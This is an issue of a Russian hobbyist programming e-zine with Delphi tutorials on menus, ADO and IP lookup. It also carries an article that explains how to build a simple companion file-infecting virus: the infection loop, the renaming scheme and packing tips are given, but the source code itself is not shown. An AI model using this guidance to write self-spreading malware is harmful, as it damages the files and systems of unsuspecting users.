VR-online JOURNAL Фленов Михаил and VR-Team VR-online для программистов №10
Эффективная работа с меню.........................................................................................................3 Delphi: Навороченный пример работы с ADO ...........................................................................8 Delphi: Получаем локальный IP адрес.......................................................................................14 Delphi: Простейший вирус..........................................................................................................17 Delphi (ActiveX): ASP Server часть 2 .........................................................................................25 SQL: Настройка таблиц...............................................................................................................29 Visual Basic: Текстовый редактор ..............................................................................................32 Visual Basic: Алгоритм сортировки ...........................................................................................37 Шифрование и всё, что с этим связано .....................................................................................43 Стеганография для кодера ..........................................................................................................48
Хочешь узнать, как эффективно работать с меню? Хочешь увидеть интересный пример работы с ADO? Хочешь узнать как написать свой вирус? Хочешь научиться программировать ASP сервер? Читай этот номер и ты узнаешь это и многое другое
Copyright: VR-online Journal http://www.vr-online.ru
VR-online Journal (Horrific and VR-Team)
Вот мы подобрались и к 10-му номеру для программистов. Раз ты его читаешь, значит ты выдержал скачку, потому что я сделал этот номер больше, чем любой другой. Так как номер юбилейный, то должно быть что-то такое, чем можно было бы тебя порадовать, так я решил сделать это количеством статей. Пока сайт потихоньку программируется, чем усердно заняты Del и Mish остальные наполняют его интересными статьями, чтобы ты не скучал. Планы у нас грандиозные и дай нам сил и времени всё это реализовать на практике, потому что слишком большие планы. Сейчас я уже с уверенностью могу сказать, что произойдёт в этом году: ты увидишь на бумаге Библию Delphi, которая будет сильно переработана и улучшена. Это произойдёт в марте. А в конце лета или в начале сентября должна появиться ещё одна моя книга – «С++ ключи Хакера». Это будет что-то на подобии «Программирование в Delphi глазами хакера», но только будет использоваться язык Visual C++. Я не очень люблю этот язык, но знаю, потому что это необходимо, полезно и иногда помогает мне, особенно в работе с WinAPI. Если ты не знаешь этого языка, то советую купить книгу, потому что в ней будет описано всё очень просто и ты сможешь познать основы С/С++. Ну и параллельно с книгой «С++ ключи Хакера» я собираюсь сделать что-то подобное, но опять с Delphi. Не знаю, как будет называться, но она снова будет в стиле «Программирование в Delphi глазами Хакера», но уже с новыми примерами и новыми исходниками.
Для программистов №9
VR-online JOURNAL Horrific aka Фленов Михаил
INFO: ИДЕЯ И РЕАЛИЗАЦИЯ: Флёнов Михаил (Horrific) ГРАФИКА: Фленов Михаил, tr4sh
VR-Team: Crazy_Script, Del, Demogorgon, Fighter, Mish!, Negus, Spider NET, tr4sh INTERNET: WWW: http://www.vr-online.ru E-MAIL: horrific@vr-online.ru ДИЗАЙН САЙТА: tr4sh КОДИНГ САЙТА: Mish!
Данный журнал распространяется в виде PDF файлов. Вы можете выкладывать номера на любые носители без изменения внешнего вида журнала, без перевода в другие форматы, без изменения самого файла. В журнал запрещается вносить изменения. Перепечатка материалов запрещена. Журнал распространяется бесплатно, и ты можешь скачать его с нашего сайта, поэтому мы не видим смысла в перепечатывании материалов. Если ты хочешь стать автором журнала, то присылай свою статью на наш e-mail и мы обязательно включим её в очередной номер.
Вот такие планы на этот год. Фленов Михаил
http://www.vr-online.ru
2
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Эффективная работа с меню Сегодня я покажу тебе, как создавать симпотичные менюшки и как работать с ними. А самое главное, ты научишся создавать пункты меню в рантайме, что просто необходимо при создании и использовании закладок в твоих прогах. Короче говоря, сегодняшний примерчик будет просто супер. Давай создадим новый проект. Брось на форму ControlBar из закладки Additional. Установи его свойство Align в alTop . Теперь брось на ControlBar1 два компонента ToolBar из закладки Win32, они появятся у тебя с именами ToolBar1 и ToolBar2. Установи у обоих такие свойства: • • • • •
AutoSize=true Дважды щёлкни по EdgeBorders и откроется список параметров оборки. Выставь ebTop в false. Flat=true List=true (только для ToolBar1) ShowCaptions=true (только для ToolBar1)
Теперь брось на форму один компонент ImageList из закладки Win32. Дважды щёлкни по немуи добавь туда 4-е картинки (какие добавил я, смотри на рис 1). Картинки должны быть размером 16х16. Едем далее. Брось на форму менюшку MainMenu из палитры Standart. Дважды щёлкни по ней, появится редактор меню с одним пустым элементом. Укажи его имя Caption равным, например, File и свойство Рис 1. Окно настройки ImageList Vasible=false. Появится два пустых элемента (справа, чтобы создать ещё одино выпадающее меню, и снизу, чтобы создать элемент выподающего меню). Поставб курсор на элемента снизу. Установи ему имя Caption=Файл и Name=FileMenu. Ещё ниже создай элемент с Caption=Правка и Name=EditMenu.
http://www.vr-online.ru
3
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Теперь создадим дополнительные менюшки меню. Выдели созданное тобой меню Файл , щёлкни по нему правой кнопкой мыши и выбери в появившемся меню пункт Create Submenu . Создай там несколько пунктов (можешь как я, см рис 2). Главное, чтобы у тебя там был пункт с именем История и с именем Name=HistoryMenu. У ToolBar1 создай две с параметрами кнопки Caption равными Файл и Правка . У первой кнопки Рис 2. Окно настройки меню свойство MenuItem выставь в FileMenu, чтобы связать кнопку с пунктом Файл . У второй кнопки установи это же свойство в EditMenu. Теперь у ToolBar2 установи свойство Images в ImageList1 и создай на этой панели четыре кнопки (для этого щёлкни правой кнопкой по ToolBar2 и выбери пункт New Button . У тебя должно получится нечто похожее на рис 2. Всё, косметический ремонт закончен, теперь приступаем к программированию. Чуть не забыл. Брось ешё на форму OpenDialog из закладки Dialogs. Создадим обработчик события для пункта меню "Открыть": procedure TForm1.OpenMenuClick(Sender: TObject); begin // Выводим стандартное окно открытия файла if not OpenDialog1.Execute then exit; // Если файл выбран, то добавить его в меню "История" AddLastFile(OpenDialog1.FileName); end; Когда пользователь щёлкнул по менюшке "Открыть". Функция AddLastFile добавляет новый элемент в список "История". Она объявлена в разделе private и выглядит как: procedure TForm1.AddLastFile(Str: String); var NewItem: TMenuItem; i:Integer; begin //Проверяем, есть ли уже такой элемент в меню "История" //Если да, то выходим for i:=0 to HistoryMenu.Count-1 do if HistoryMenu.Items[i].Caption=Str then exit; //Создаём новый элемент NewItem := TMenuItem.Create(Self); //Устанавливаем для него заголовок NewItem.Caption:=Str; //Устанавливаю событие OnClick
http://www.vr-online.ru
4
VR-online Journal (Horrific and VR-Team)
Для программистов №9
NewItem.OnClick:=LoadLastFile; //Добавляю в меню "История" HistoryMenu.Add(NewItem); //Если список в меню "История" уже больше 7, то удаляю первый элемент if HistoryMenu.Count>7 then HistoryMenu.Delete(0); end; По событию OnClick я устанавливаю обработчик создаваемого элемента LoadLastFile. Он объявлен в разделе private: private { Private declarations } procedure AddLastFile(Str:String); procedure LoadLastFile(Sender: TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.LoadLastFile(Sender: TObject); begin end; Эту функцию я оставлю пустой. Ты сам придумай, что в ней делать. Если у тебя это текстовый редактор, то прога должна уметь загрузить файлиз истории. Вот именно в этом обработчике это и надо делать. Это может выглядить так: procedure TGiffer.LoadLastFile(Sender: TObject); begin //Если файл существует, то открыть его if FileExists(TMenuItem(Sender).Caption) then DoOpenFile(TMenuItem(Sender).Caption) else //Иначе сообщение об ошибке Application.MessageBox('Файл уже удалён.','Error!', MB_OK + MB_ICONINFORMATION); end; Хочу тебя предупредить, что путь будет немного искорёжен. В параметре TMenuItem(Sender).Caption может содержатся, например, "E:\&Projects\Temp\VR\Project1.dof". Как видишь, в этой строке содержится ненужный знак &. Я с ним уже намучился очень много и автоматом он убирается не всегда. Лучше удаляй его в ручную: //Ищем, символ & в строке TMenuItem(Sender).Caption index:=pos('&', TMenuItem(Sender).Caption); //Удаляем один символ в строке TMenuItem(Sender).Caption //начиная с позиции index и всего 1 символ. Delete(TMenuItem(Sender).Caption,index,1);
http://www.vr-online.ru
5
VR-online Journal (Horrific and VR-Team)
Для программистов №9
По событию формы OnClose я сохраняю состояние истории: procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); var FileList:TStrings; i:Integer; begin //Создаю строковый список элементов FileList:=TStringList.Create; //Заполняю его for i:=0 to HistoryMenu.Count-1 do FileList.Add(HistoryMenu.Items[i].Caption); //Сохраняю в файл FileList.SaveToFile(ExtractFilePath(Application.ExeName)+'File.dat'); //Удаляю список FileList.Free; end; По событию OnShow я загружаю элементы procedure TForm1.FormShow(Sender: TObject); var FileList:TStrings; i:Integer; begin //Если файл существует, то вперёд!!! if FileExists(ExtractFilePath(Application.ExeName)+'File.dat') then begin //Создаю список элементов FileList:=TStringList.Create; //Загружаю историю FileList.LoadFromFile(ExtractFilePath(Application.ExeName)+'File.dat'); //Добавляю элементы for i:=0 to FileList.Count-1 do AddLastFile(FileList.Strings[i]); //Очищаю список FileList.Free; end; end; Напоследок, хочу посоветовать у всех кнопок, с которыми связаны меню установить свойство Grouped в true. Тогда кнопки будут выглядить как настоящие меню. Вот и всё!!! Наша крутая менюшка готова. Исходники примера смотри в файле Delphi.zip
Copyright: Фленов Михаил
http://www.vr-online.ru
6
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Тебя мучает одна проблема, которую ты не можешь решить? Заходи на форум на нашем сайте, подумаем вместе!!! На нашем форуме ты можешь задать любой вопрос и получить ответ по следующим темам: • Программирование (Delphi, JBuilder, C++ Builder, Kylix, Visual C++Visual Basic и другие); • Технологии программирования (сети, мультимедиа, DirectX, OpenGL); • Администрирование; • Операционные системы; • Базы данных (SQL Server, язык SQL и другие); • Железо; • Internet технологии (Perl, PHP, Flash, XML); • Софт; • Сети; Адрес сайта http://www.vr-online.ru
http://www.vr-online.ru
7
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi: Навороченный пример работы с ADO Сегодня я возьму базу данных из прошлой статьи и сделаю несколько улучшений в исходнике, чтобы наш пример превратился в полезный и рабочий модуль. В этом примере я реализую поиск с помощью SQL, фильтры и много чего ещё интересного. Короче говоря, пора переходить от маленьких примеров к реальным прогам. Открой пример из предыдущей статьи и сразу выбери меню View->Project Manager. Перед тобой откроется окно Project Manager в котором перечислены все модули нашего проекта (рисунок 1). У нас пока два модуля: • •
Unit1 - Модуль главной формы (Form1). Unit2 Модуль компонентов доступа к данным (DstaModule1).
Отодвинь это окно куда-нибудь в уголок, потому что мы будем очень часто его использовать (я держу это окно в правом-нижнем углу экрана). Дважды щёлкни по Unit2 и перед тобой откроется DataModule2. В прошлом примере я сделал одну ошибку. Рис 1. Project Manager В настройках ADOConnection я указал полный путь к базе данных. Поэтому, когда ты открывал мой пример у тебя могли посыпатся ошибки, что база не найдёна. Конечно же, потому что ты должен указать новый путь. Чтобы этого небыло, сделаем следующее: • • •
Выдели ADOConnection и дважды щёлкни по строке ConnectionString. В появившемся окне нажми кнопку Build, появится окно "Свойства связи с данными". На закладке "Подключение", в строке с именем базы сотри путь, оставь только имя "db1.mdb". В этом случае, база не будет привязана к определённому пути, а будет искатся в текущей директории, т.е. программа и база должны находится в одной диретории.
Такой вариант намного лучше и не зависит от изменения пути расположения проги. Главное, чтобы база была рядом с запукным файлом. Нажимай "ОК", и снова "ОК" и изменяй свойство Connected у ADOConnection в True. Запомни, после этих изменений, все компоненты связанные с ADOConnection1 потеряют связь с базой. Выдели ADOTable1 и поставь свойство Active в true. Вообще, любые изменения в настройках компонентов приводят к потере связи, поэтому за этим нужно регулярно следить. Я сделал ещё одну ошибку в прошлый раз. Поля Key1 в обоих таблицах ключевые и я назначил им тип "Числовой". В то же время это поле должно быть уникальным. Это
http://www.vr-online.ru
8
VR-online Journal (Horrific and VR-Team)
Для программистов №9
заставляет нас вручную вводить в это поле уникальное значение. Сейчас я изменил это поле на тип "Счётчик", чтобы Access сом назначал уникальное число нашему ключу. Теперь изменим свойства ADOTable1. Дважды щёлкни по компоненту ADOTable1. Перед тобой откроется окно настроек полей базы (рис 2). В этом окне перечислены все поля базы. Выделяя любое поле, ты можешь изменить свойства его отображения. Выдели поле Key1 и установи его свойство Visible в False. Это ключевое поле и пользователю не надо его видеть, поэтому мы отключаем его видимость. Я ещё уменьшил значение свойства DisplayWidth у полей Файмилия и Имя до 25, чтобы при просмотре базы через DBGrid поля не выглядели такими длинными. DisplayWidth отвечает за видимую ширину поля, но реальная ширина остаётся той же, то есть поле сможет содержать всё то же количество символов. Рис 2. Теперь я создал событие OnClose для главной формы Form1 и написал там: procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin DBGrid1.Columns.SaveToFile( ExtractFilePath(Application.ExeName)+'grid.dat'); end; Этим я сохраняю состояние колонок в файле 'grid.dat', той же директории, где находится программа. Теперь создадим событие OnShow для главной формы и там загрузим состояние колонок: procedure TForm1.FormShow(Sender: TObject); begin //Если файл настроек существует, то загрузить настройки. if FileExists(ExtractFilePath(Application.ExeName)+'grid.dat') then DBGrid1.Columns.LoadFromFile( ExtractFilePath(Application.ExeName)+'grid.dat'); end; Теперь пользователь сможет изменять ширину колонок, перемещать их и все изменения сохранятся при следующем запуске. Для перемещения колонки нужно взять заколовок колонки мышкой и перетащить на другое место.
http://www.vr-online.ru
9
VR-online Journal (Horrific and VR-Team)
Для программистов №9
ВНИМАНИЕ!!! Если ты теперь добавишь, или удалишь какую-нибудь колонку, эти изменения не будут видны, потому что в файле 'grid.dat' ничего об этом не сказано. Чтобы увидить изменения, просто удали файл 'grid.dat' и программа загрузит все текущие данные, а не состояние из файла и после этого сохранит уже то, что надо. теперь добавим к программе несколько возможностей. Я создал на форме панель с тремя кнопками (рис 3). Первая будет использоватся для задания фильтра, вторая для поиска с Рис 3. Фрагмент моей формы. помощью SQL и третья выход из программы. По нажатию ктопки фильтр, пользователю будет выдаватся запрос на ввод фамилии. После нажатия кнопки "ОК", мы установим этот фильтр. Давай опишем эти действия на языке Delphi: procedure TForm1.FilterButtonClick(Sender: TObject); var FilterStr:String; begin //По умолчанию делаем фильтр пустым FilterStr:=''; //Запрашиваем ввод фильтра. if not InputQuery('Задание фильтра', 'Введите Фамилию:', FilterStr) then exit; //Если пользователь ничего не ввёл, то удаляем фильтр if FilterStr='' then DataModule2.ADOTable1.Filtered:=false else begin //Иначе устанавливаем новое значение. DataModule2.ADOTable1.Filter:='Фамилия='''+FilterStr+''''; DataModule2.ADOTable1.Filtered:=true; end; end; Обрати внимание, что значение фильтра я устанавливаю в виде 'Фамилия='''+FilterStr+''''; Здесь полно кавычек, потому что нам надо получить строку типа Фамилия='Иванов'. Значение фильтра должно быть в кавычках. Для этого я и использую громадное количество кавычек. Четыре одинарные кавычки прибавят в текст одну, а если мы хотим прибавить кавычку к уже готовому тексту, то нужно использовать три кавычки (например 'Фамилия=''').
http://www.vr-online.ru
10
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Теперь сделаем поиск с помощью SQL. Для этого добавим в наш DataModule2 компоненты DataSource2 и ADOQuery1. У ADOQuery1 свойство Connection изменим на ADOConnection1. У DataSource2 свойство DataSet изменим на ADOQuery1. Теперь дважды щёлкай по свойству AQL у ADOQuery1. Перед тобой откроется редактор SQL запроса (рис 4). В этом редакторе напиши следующий запрос: Рис 4. Редактор SQL. SELECT * FROM [Главная таблица] WHERE Фамилия LIKE :Famil
Запрос выбирает все записи из таблицы [Главная таблица], где поле Фамилия равна значению переменной Famil. В SQL, если перед каким-нибудь именем стоит двоеточие, то оно воспринимается, как переменная (только в Delphi). Закрой редактор SQL и выдели компонент ADOQuery1. Свойство Parameters содержит все объявленные тобой переменные в запросе. Щёлкни по нему дважды и ты увидешь окно, как на рис 5. В этом окне уже присутствует наша переменная Famil. Щёлкни по ней и проверь её свойства. В нашем случае, переменная будет хранить в себе фамилию, т.е. она должна Рис 5. быть типа String. Проверь свойство Value -> Type , чтобы оно было Integer. Всё остальное нас пока не интересует, поэтому можно закрывать это окно. Переходим в модуль Unit1 где хранится наша основная форма. Создадим обработчик для второй кнопки. Здесь мы напишем: procedure TForm1.ToolButton2Click(Sender: TObject); var FindStr:String; begin //Устанавливаем значение строки поиска в пусто FindStr:=''; //Запрашиваем фамилию для поиска if not InputQuery('Поиск по таблице', 'Введите Фамилию:', FindStr) then exit; //Если пользователь ввёл не пустое значение, то ... if FindStr<>'' then begin //Делаем запрос неактивным (закрываем его, если он уже был открыт) DataModule2.ADOQuery1.Active:=true; //Устанавливаем нашу SQL переменную :Famil в значение //введённое пользователем
http://www.vr-online.ru
11
VR-online Journal (Horrific and VR-Team)
Для программистов №9
DataModule2.ADOQuery1.Parameters.ParamValues['Famil']:=FindStr; //Делаем запрос активным (выполняем его) DataModule2.ADOQuery1.Active:=true; //Показываем форму с результатом запроса. Form3.ShowModal; end; end; Для отображения результата запроса я создал ещё одну форму Form3. Форма абсолютно примитивная (рисунок 6). К ней я подключил DataModule2 (Выбрал из меню File>Use Unit). Бросил на форму компонент DBGrid и установил у него свойство DataSource в DataModule2.DataSource2 . Вот и всё. Я думаю, что на сегодня хватит. В следующий раз мы ещё улучшим наш пример и подвяжем вторую таблицу "Справочник городов", хотя я уже расказывал о связаных таблицах, но всё же тут есть Рис 6. Форма отображения результата свои хитрости. Исходники примера в Delphi3.zip
http://www.vr-online.ru
Copyright © Фленов Михаил
12
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Реклама в журнале VR-online Почему вы обязаны разместить рекламу на страницах VRonline:
4. 5. 6. 7.
1. Таких низких цен вы не видели ни где. 2. У нас располагается нестареющая информация. Которая будет актуальна всегда. 3. Вы имеете возможность пожизненно расположить свой банер на наших страницах по самым низким ценам. Пожизненность гарантируется в не зависимости от роста числа посещаемости. У нас есть потенциал для роста, как в объемах страниц, так и в посещаемости. Наши материалы очень часто сохраняются на дисках посетителей. Ваша реклама будет доступна в любых вариантах журнала. Журнал распространяется не только с сайта VR-online, но и другими сайтами и даже на CD, поэтому тираж огромен.
Если вы собираетесь рекламировать не просто сайт в интернете, а компанию, которая занимается информационными технологиями, то ваша дорога лежит сюда. Это лучшее рекламное место, которое можно найти в сети. Торопитесь такие цены не надолго. Расценки на размещение рекламы на страницах VR-online: • Банер 100х100 на главной странице сайта в течении месяца-$25 • Банер 468х60 на главной странице сайта в течении месяца-$30 • Банер 100х100 на странице оглавления на сайте 1-го номера (пожизненно)-$25 • Банер 468х60 на странице оглавления на сайте 1-го номера (пожизненно)-$30 • Страница в журнале-$200 • Половина страницы в журнале-$100 • Банер на странице статьи журнала.-$50
http://www.vr-online.ru
13
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi: Получаем локальный IP адрес Сегодня мы рассмотрим маленький, но удаленький примерчик. В нём программа возвращает все установленые IP адреса для сетевых плат или удалённого доступа. Помимо этого, ты узнаешь, как обращатся к компонентам не по имени, а по "индексу", это очень удобная и нужная возможность. Для примера брось на форму одну кнопку и несколько компонентов TEdit (например моя форма на рис 1). Для кнопки создай обработчик OnClick и напиши там: procedure TForm1.Button1Click(Sender: TObject); type TaPInAddr = Array[0..10] of PInAddr; PaPInAddr = ^TaPInAddr; var phe: PHostEnt; pptr: PaPInAddr; Buffer: Array[0..63] of Char; I: Integer; GInitData: TWSAData; begin //Инициализация сокетов WSAStartup($101, GInitData);
Рис 1. Форма
//Получаем имя локального компьютера (хоста) GetHostName(Buffer, SizeOf(Buffer)); //Получаем указатель на хост phe := GetHostByName(buffer); if phe = nil then Exit; //Получаем указатель на массив адресов. pPtr := PaPInAddr(phe^.h_addr_list); I := 0; //Перечисляем все адреса while pPtr^[I] <> nil do begin //Вывести адрес TEdit(FindComponent('Edit'+IntToStr(i+1))).Text:=inet_ntoa(pptr^[I]^); Inc(I); end; //Закрываем сокет WSACleanup; end; На рисунке 1 показана запущенная прога. Как видишь у меня стоит два адреса, потому что у меня стоит Win2000 и две сетевухи на 10 и 100 мбит/сек.
http://www.vr-online.ru
14
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Самым интересным является вывод результата TEdit(FindComponent('Edit'+IntToStr(i+1))).Text:=inet_ntoa(pptr^[I]^). Здесь я использую функцию FindComponent, которая ищет компонент на форме по имени. В качестве параметра я должен передать имя компонента, например, 'Edit1'. Но я делаю хитрее и передаю имя 'Edit' плюс индекс приведённый к строке IntToStr(i+1). В итоге на первом этапе я буду искать FindComponent('Edit1'), на втором этапе FindComponent('Edit2') и так далее. Найденный с помощью функции FindComponent компонент я привожу к TEdit с помощью TEdit(FindComponent('Edit'+IntToStr(i+1))). А далее использую всю эту конструкцию, как простой TEdit компонент: TEdit(FindComponent('Edit'+IntToStr(i+1))).Параметр:=Значение; Расмотрим ещё пример. Допустим у тебя стоит пять компонентов CheckBox с именами CheckBox1, CheckBox2, CheckBox3 и так далее. Чтобы перебрать все эти компоненты и узнать какой из них выделен нужно сделать так: for i:=1 to 5 do if TCheckBox(FindComponent('CheckBox'+IntToStr(i+1))).Checked then begin //i-й компонент CheckBox выделен. end; Вот и всё, что я хотел тебе сегодня рассказать. Мало, но интересно. Copyright © Фленов Михаил aka Horrific
http://www.vr-online.ru
15
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Программирование в Delphi глазами хакера Автор: Фленов Михаил aka Horrific Из книги ты узнаешь: • Кто такой Хакер и как им стать; • Как создавать программы маленького размера; • Как оптимизировать код программы; • Как заставить летать кнопку «Пуск»; • Научишься контролировать системную палитру; • Научишься изменять разрешение экрана из своих программ; • Увидишь множество шуточного кода; • Узнаешь, как подсматриваем пароли, спрятанные под звездочками; • Напишешь программу мониторинга запускных файлов и клавиатурный шпион; • Сможешь портить окна чужих программ; • Как создавать окна неправильной формы; • Научишься работать с сетью через компоненты Delphi и увидишь как создаются сканеры портов, утилиты ping и др. • Узнаешь, как работать с сетью на уровне библиотеки WinSock; • Узнаешь, как работать с железом И многое другое. Посмотри на содержимое диска, и ты поймёшь, что он стоит того, чтобы купить эту книгу с диском: \Headers - Все необходимые заголовочные файлы, которые нужно будет подключать к Delphi для компиляции некоторых примеров \Source - Исходные коды своих простых программ, чтобы вы могли ознакомиться с реальными приложениями. Их немного, но посмотреть стоит. \Soft - Инсталляционный пакет программы Adobe Acrobat Reader v5.0. Если у вас нет этой программы, то вы должны её установить, чтобы можно было читать документацию, расположенную на диске. \Vr-online - Полная копия сайта автора, а это 100 мегабайт документации, полезной информации, исходных кодов и компонентов. Здесь же вы можете найти мою книгу "Библия Delphi" - в электронном виде. В ней вы найдёте все необходимые для понимания этого материала основы и если вы ещё ни разу не видели Delphi, то после прочтения этой книги вы сможете понять всё описанное здесь. \Документация - Дополнительная документация, которая может понадобиться для понимания каких-то глав. \Иконки - В этой директории вы найдёте большую коллекцию иконок, которые вы можете использовать в своих программах. Эту коллекцию я подбирал достаточно долго и все иконки хорошего качества. \Компоненты - Дополнительные компоненты, которые будут использоваться в примерах книги. \Программы - Программы, которые пригодятся в программировании. Среди них Header Convert - программа, которая конвертирует заголовочные файлы с языка С на Delphi и ASPack - программа сжатия запускных файлов. Спрашивай книгу в книжных магазинах своего города!!!
http://www.vr-online.ru
16
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Delphi: Простейший вирус Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковысаморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых. Классификация. • •
•
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше. HLLC- High Level Language Companion. Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны. HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.
Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:
1.Связь с файлом: procedure AssignFile(var F; FileName: string); Например: AssignFile (F1,’klizma.exe’);
http://www.vr-online.ru
17
VR-online Journal (Horrific and VR-Team)
Для программистов №9
2.Открытие файла для чтения: procedure Reset(var F [: File; RecSize: Word ] ); Например: Reset (F1);
3.Чтение инфы из файла в буфер: procedure BlockRead(var F: File; var Buf; Count: Integer [; var AmtTransferred: Integer]); Здесь buf- массивчик, напр. Buf: Array [1..65535] Of Char; Count- сколько байтов ты хочешь прочесть AmtTransfered- сколько реально прочитано. Например: BlockRead (F1,Buf,1024);
4.Запись из буфера в файл: procedure BlockWrite(var f: File; var Buf; Count: Integer [; var AmtTransferred: Integer]); Почти то же, что и предыдущее.
5.Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);
6. Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.
7.Поиск файла. Без него нам никак не обойтись, надо же искать жертву J. function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHiddenскрытый. F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла. Например: FindFirst (‘*.exe’,faAnyFile,sr); Sr.Name- имя найденного файла Sr.Size- его размер. Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают Подсказываю: можешь в своем вирусе создать интересный циклик:
http://www.vr-online.ru
0
(зеро).
18
VR-online Journal (Horrific and VR-Team)
Для программистов №9
Result:= FindFirst (‘*.exe’,faAnyFile,sr); While result=0 do Begin //Сюда пишешь процедуру заражения FindNext (sr); End;
8.Закрытие файла, все наши с ним извращения сохраняются: procedure CloseFile (var F: File);
9.Сдвиг рамки считывания: procedure Seek(var F; N: Longint); Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем: Seek (F1,1000); А потом уже BlockRead (…);
10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем: IF Ioresult=0 then… Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если {$I-}!
11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow: function BlowTheStack(I: Integer): Integer; var J: Integer; begin J:= 2; Result:= BlowTheStack(I*J); end;
12.Установка атрибутов файла: FileSetAttr (Filename: string,FileAttr); Например: FileSetAttr (‘klizma.exe’,faHidden); Fileattr- как в findfirst.
Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы. Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает
http://www.vr-online.ru
19
VR-online Journal (Horrific and VR-Team)
Для программистов №9
в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушатьпосмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия… Совет напоследок. Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит ~40% избыточного веса, а с опцией MaxCmp файл обратно уже не распаковывается. Взять его можно тут: www.neoworx.com, весит он 568Кб. P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя посадят. На 15 суток, за хулиганство и нарушение общественного порядка!
Примечание VR-online. На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа. Исходник:
